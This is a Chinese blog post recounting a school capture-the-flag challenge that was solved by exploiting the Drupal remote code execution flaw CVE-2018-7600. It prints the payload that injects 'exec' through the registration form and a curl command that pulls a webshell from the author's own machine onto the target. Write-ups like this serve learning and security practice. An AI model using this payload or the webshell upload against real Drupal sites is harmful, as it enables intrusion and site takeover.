记之前的一次校赛题

无聊翻起了以前的CSDN博客,发现之前做校赛题遇到的CVE-2018-7600挺有意思的,也是从那次校赛后就不怎么打CTF了,最近要重新变成赛棍,把文章贴上,记录一下。

前几天做题遇到drupal cms的时候始终没想到如何拿下这个站点,后来经过百度以及表哥给的wp知道还有CVE-2018-7600这个漏洞

这篇文章主要记录下该漏洞的复现过程

靶场如上,我看到这个网站当时是懵逼的,我以为会出dz,dede,thinkphp那些常见网站模版,没想一下跳出个drupal。这时候的心情是懵逼的,果然无知限制了我的想象。

然后

我扫目录无果

找注入无果

爆路径无果

....于是放弃了

然后第二天看了wp才发现原来那么简单

网上就有现成的exp(我传到了资源了)

payload:

1
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}

模拟登陆框:

echo ";-)" | tee hello.txt 的意思是:输入;-)到hello.txt

tee的意思是存在缓存机制,每1024个字节将输出一次。若从管道接收输入数据,应该是缓冲区满,才将数据转存到指定的文件中。若文件内容不到1024个字节,则接收完从标准输入设备读入的数据后,将刷新一次缓冲区,并转存数据到指定文件。

同理这里可以输入一句话到hello.txt中

这里我们传一句话的时候会被过滤,所以我们只能以curl形式上传

全都成功上传了,但是菜刀链接不上

这里需要注意的是exp用python3写的,在python2.7无法执行,换到kali即刻成功执行

img

通过python开端口

1
python -m SimpleHTTPServer 8000

img

curl上传:'curl http://192.168.211.131/dama1.php | tee haha1.php'(这里我上传的dama2输入密码无法解析,有时候大马在本地也搭建成功但不一定有效,多尝试)

img

另一种方法拿flag是

'../../../../../etc/ | tee 2.txt' 可以看到网站目录有啥 即可拿到flag

复现到此结束,欢迎大家加我学习

参考:

Drupal核心远程代码执行漏洞分析报告

漏洞分析 Drupal远程代码执行漏洞(CVE-2018-7600)分析

云鼎实验室:Drupal CVE-2018-7600 分析及 PoC 构造

exp

-------------本文结束感谢您的阅读-------------